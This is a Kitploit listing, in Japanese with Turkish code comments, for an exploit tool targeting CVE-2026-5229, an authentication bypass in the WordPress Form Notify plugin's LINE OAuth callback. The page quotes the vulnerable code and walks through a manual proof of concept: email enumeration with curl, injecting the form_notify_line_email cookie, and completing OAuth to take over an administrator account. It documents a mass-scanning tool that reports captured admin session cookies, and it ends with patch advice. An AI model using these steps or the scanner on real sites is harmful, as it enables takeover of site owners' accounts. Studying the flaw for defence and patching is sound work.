Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-5229 — CVE-2026-5229: LINE OAuth コールバック経由の Form Notify 認証バイパス (CVSS 9.8) | Kitploit
ツール/GitHubGitHub/xxconi/cve-2026-5229
脆弱性スキャナーエクスプロイトウェブアプリケーション悪用ペネトレーションテスト認証学習と教育
GitHubxxconi/cve-2026-5229

CVE-2026-5229

CVE-2026-5229: LINE OAuth コールバック経由の Form Notify 認証バイパス (CVSS 9.8)

リポジトリを見る
13ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-5229

CVE-2026-5229: LINE OAuth コールバック経由の Form Notify 認証バイパス (CVSS 9.8)

Form Notify — LINE OAuth 認証バイパススキャナー

プラグイン: Form Notify (form-notify) 脆弱性の種類: 未認証の LINE OAuth 認証バイパス → アカウント乗っ取り CVSS スコア: 9.8 (Critical) CVSS ベクター: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 影響を受けるバージョン: <= 1.1.10 パッチ適用済みバージョン: 1.1.11+ 研究者: Paolo Tresso — Wordfence


📌 脆弱性について

Form Notify プラグインは、フォーム送信後に通知を送信し、 LINE Login OAuth 2.0 連携を提供する WordPress プラグインです。

脆弱性は LINE OAuth コールバックハンドラに存在します。ユーザーが LINE 認証フローを完了した後、プラグインは WordPress アカウントをメールアドレスのみで解決します。LINE アカウントが その WordPress アカウントと以前に関連付けられているかどうかを 一切確認しません。


🔍 バージョン別の脆弱性テーブル

バージョン脆弱性攻撃手法
<= 1.1.08Cookie Injection + Email MatchPath A または Path B
1.1.09 – 1.1.10Email Match (cookie は削除済み)Path B
1.1.11+パッチ適用済み—

⚙️ 技術的分析

公開された REST エンドポイント

LINE OAuth コールバックエンドポイントは完全に公開されて登録されています:

root@kitploit:~
// src/APIs/Line/Login/Route.php
register_rest_route(
    'form-notify/v1',
    '/callback',
    array(
        'methods'             => 'GET',
        'callback'            => array( $this, 'get_api_callback' ),
        'permission_callback' => function () {
            return true;  // kimlik doğrulama gerekmez
        },
    )
);

Nonce が保護を提供しない理由

WordPress の nonce はCSRF トークンであり、認証トークンではありません。 すべての訪問者はページ HTML から有効な nonce を取得でき、検証 チェックを通過できます。


メールによるアカウント解決 (1.1.10)

root@kitploit:~
// Route.php — lines 115–116
$has_real_email = ! empty( $user->email );
$user_email     = $has_real_email ? $user->email : $user_raw_id . '@line.com';
root@kitploit:~
// User.php — is_member()
public function is_member( string $user_email, string $user_avatar ): bool {
    $this->user = get_user_by( 'email', $user_email );  // sadece email ile arama
    if ( ! is_wp_error( $this->user ) && $this->user ) {
        return true;  // linkage kontrolü YOK
    }
    return false;
}

一致が見つかると、login() メソッドが即座にセッションを開始します:

root@kitploit:~
// User.php — login()
public function login( string $user_raw_id, string $user_email, ... ): void {
    if ( ! is_user_logged_in() ) {
        wp_clear_auth_cookie();
        wp_set_current_user( $this->user->ID );
        wp_set_auth_cookie( $this->user->ID, true, is_ssl() );
    }
}

Cookie Injection (<= 1.1.08)

root@kitploit:~
// Route.php (1.1.08) — lines 115–118
if ( isset( $_COOKIE['form_notify_line_email'] ) ) {
    $line_email = sanitize_text_field(
        wp_unslash( $_COOKIE['form_notify_line_email'] )
    );
}
$user_email = ( $user->email ) ? $user->email : $line_email;

LINE プロフィールがメールを返さない場合 ($user->email が空)、 プラグインはブラウザの cookie を直接読み取ります。 攻撃者はこの cookie を完全に制御できます。


State 検証の脆弱性

root@kitploit:~
$session_state = get_transient( 'form_notify_line_state_' . $state );

if ( empty( $session_state ) ) {
    // Transient yoksa $_SESSION'a düşer
    $session_state = sanitize_text_field(
        wp_unslash( $_SESSION[ 'form_notify_line_state_' . $state ] )
    );
    set_transient( 'form_notify_line_state_' . $state, $state, 60 * 60 );
}

Transient の有効期限が切れている場合、$_SESSION フォールバックが作動します。 ほとんどの WordPress 環境では、この時点で $_SESSION は空です → state チェックを回避できます。


二次的な問題 — メール = パスワード (<= 1.1.10)

root@kitploit:~
// sign_up() metodu
$userdata = array(
    'user_pass' => $user_email,  // şifre = email adresi
    ...
);

LINE OAuth フローで作成されたアカウントでは、パスワードはメールアドレスと 同じです。この状況は直接ブルートフォースまたはログイン攻撃を 可能にします。


🔴 なぜ Critical なのか?

理由説明
認証が不要コールバックエンドポイントは完全に公開
リンケージチェックなし任意の LINE アカウントで十分
Cookie 攻撃<= 1.1.08 ではメールすら不要
Admin を含む全アカウントget_user_by('email') は全ユーザーに影響
脆弱な state チェックCSRF 保護を回避可能
メール = パスワードOAuth で作成されたアカウントは簡単にブルートフォース可能

🧪 Proof of Concept (手動)

⚠️ 免責事項: この PoC は、教育および許可されたセキュリティテストの目的でのみ提供されています。明示的な許可なくシステムに対してテストを行うことは違法です。

前提条件:

  • Form Notify プラグインがインストールされ有効、LINE Login が設定済み
  • LINE developer アカウントと LINE Login チャンネル
  • 対象サイトに LINE ログインボタンがあるページ

Path A — Cookie Injection (<= 1.1.08)

ステップ 1 — 対象メールの特定

root@kitploit:~
TARGET="https://target.com"

# WordPress REST API'den kullanıcı listesi
curl -s "$TARGET/wp-json/wp/v2/users" | python3 -m json.tool

# Veya author sayfaları
curl -s "$TARGET/?author=1" -I | grep Location

ステップ 2 — Cookie を設定する

ブラウザの開発者ツールを開き、コンソールに貼り付けます:

root@kitploit:~
document.cookie = "[email protected]; path=/";

または curl を使用:

root@kitploit:~
curl -v -b '[email protected]' \
  "$TARGET/wp-json/form-notify/v1/login" 2>&1 | grep Location

ステップ 3 — LINE OAuth フローを開始

Location ヘッダーの LINE OAuth URL をブラウザで開きます。

ステップ 4 — Email Scope を許可せずに完了

LINE の同意画面でメール許可を与えず、またはメールなしの LINE アカウントを使用します。LINE はメールなしでコールバックにリダイレクトします。 プラグインは cookie にフォールバックします。

ステップ 5 — セッションを検証

root@kitploit:~
curl -s -b 'wordpress_logged_in_XXXX=...' \
  "$TARGET/wp-json/wp/v2/users/me" | python3 -m json.tool

期待される応答:

root@kitploit:~
{
  "id": 1,
  "name": "admin",
  "email": "[email protected]",
  "roles": ["administrator"]
}

Path B — Email Match (<= 1.1.10)

ステップ 1 — 対象メールの特定

Path A のステップ 1 と同じ。

ステップ 2 — LINE アカウントを作成

account.line.biz で対象メールを使って LINE アカウントを作成します。 (メール検証が必要です — 対象の受信トレイへのアクセスが必須です。)

ステップ 3 — OAuth フローを開始

root@kitploit:~
https://target.com/wp-json/form-notify/v1/login

ステップ 4 — Email Scope を許可して完了

LINE の同意画面でメール許可を与えます。 LINE はメールアドレスをコールバックに返します。

ステップ 5 — 自動認証

root@kitploit:~
Plugin: is_member('[email protected]')
     → get_user_by('email', '[email protected]')
     → Administrator bulundu
     → wp_set_auth_cookie(1)
     → Oturum açıldı ✓

🛠️ 自動スキャナー

インストール

root@kitploit:~
git clone https://github.com/kullanici/form-notify-bypass
cd form-notify-bypass
pip install -r requirements.txt

requirements.txt

root@kitploit:~
requests

🚀 使用方法

単一ターゲット — 自動メール検出

root@kitploit:~
python form_notify_rce.py -u http://hedef.com

特定のメールで Path A (Cookie Injection)

root@kitploit:~
python form_notify_rce.py -u http://hedef.com \
  --email [email protected] \
  --path A

Path B (Email Match) — 手動完了

root@kitploit:~
python form_notify_rce.py -u http://hedef.com \
  --email [email protected] \
  --path B

両方の Path を実行

root@kitploit:~
python form_notify_rce.py -u http://hedef.com \
  --email [email protected] \
  --path both

一括スキャン

root@kitploit:~
python form_notify_rce.py -l targets.txt -t 15 -o sonuclar.txt

Proxy 使用 (Burp Suite)

root@kitploit:~
python form_notify_rce.py -u http://hedef.com \
  --proxy http://127.0.0.1:8080

⚙️ パラメータ

パラメータ短縮形説明デフォルト
--url-u単一ターゲット URL—
--list-lターゲットリストファイル—
--threads-tスレッド数10
--output-o出力ファイルauth_bypass.txt
--email—対象ユーザーのメール自動検出
--path—攻撃パス (A / B / both)both
--max-users—ターゲットあたりの最大ユーザー数5
--proxy—Proxy URL—
--timeout—リクエストタイムアウト (秒)10

📊 スキャナー出力ステータス

ステータス説明
★ AUTH OKセッション cookie を取得 — 完全自動
★ WP-ADMIN/wp-admin にリダイレクトされた
~ MANUALOAuth URL 準備完了、ブラウザで完了
~ PATH BLINE アカウントによる手動手順
- NO_PLUGINForm Notify がインストールされていない
- NO_LINELINE Login が有効でない
~ NO_TARGETユーザーのメールが見つからない
~ UNREACHターゲットに到達できない

🖥️ スキャナー出力例

root@kitploit:~
[*] 3 hedef | Form Notify LINE OAuth Bypass | threads=10

[★ AUTH OK   ] http://hedef1.com  (Path A)
  Hedef Email : [email protected]
  Sürüm       : 1.1.08
  OAuth URL   : https://access.line.me/oauth2/v2.1/authorize?...
  Kullanıcı   : admin <[email protected]> roles=['administrator']
  Cookie      : {'wordpress_logged_in_abc123': 'admin|...'}

[~ MANUAL    ] http://hedef2.com  (Path A — Manuel tamamlama)
  Hedef Email : [email protected]
  Cookie Set  : [email protected]
  OAuth URL   : https://access.line.me/oauth2/v2.1/authorize?...
  State       : a1b2c3d4e5f6

[- NO_LINE   ] http://hedef3.com  (LINE Login aktif değil)

──────────────────────────────────────────────────────────────
  DONE                        :    2
  NO_LINE                     :    1
──────────────────────────────────────────────────────────────
  Auth bypass → auth_bypass.txt
──────────────────────────────────────────────────────────────

🛡️ 防御 / パッチ

対策実装
プラグインの更新Form Notify 1.1.11+ にアップグレード
LINE リンケージチェックLINE ID をユーザーメタに保存し、ログインごとに検証
Cookie フォールバックの削除$_COOKIE['form_notify_line_email'] の使用を削除
State 検証Transient フォールバックを削除し、期限切れの state を拒否
パスワードポリシーsign_up() でメールをパスワードとして使用しない
REST エンドポイント保護コールバックエンドポイントにレート制限を適用

安全なアカウント解決の例:

root@kitploit:~
// Güvensiz (mevcut)
$user = get_user_by( 'email', $line_email );

// Güvenli (önerilen)
$users = get_users( array(
    'meta_key'   => 'line_user_id',
    'meta_value' => $line_user_id,  // LINE ID ile eşleştir
) );

📁 ファイル構成

root@kitploit:~
form-notify-bypass/
├── form_notify_rce.py   # Ana tarayıcı
├── requirements.txt     # Bağımlılıklar
└── README.md            # Bu dosya

⚠️ 法的免責事項

このツールおよび PoC は、許可されたシステムにおいて、教育目的および ペネトレーションテストの範囲内でのみ使用するために作成されています。 無許可のシステムでの使用は、トルコ刑法第 243〜245 条 および国際的なサイバー犯罪法に基づき犯罪行為となります。 開発者は、ツールの悪用によって生じるいかなる法的 責任も負いません。


📄 ライセンス

MIT License — 教育および研究目的のみです。


🔗 参照

  • Wordfence Advisory
  • LINE Login OAuth 2.0 Docs
  • WordPress Plugin Directory — Form Notify
  • CVSS 3.1 Calculator
  • OAuth 2.0 Security Best Practices — RFC 9700
ツールをダウンロード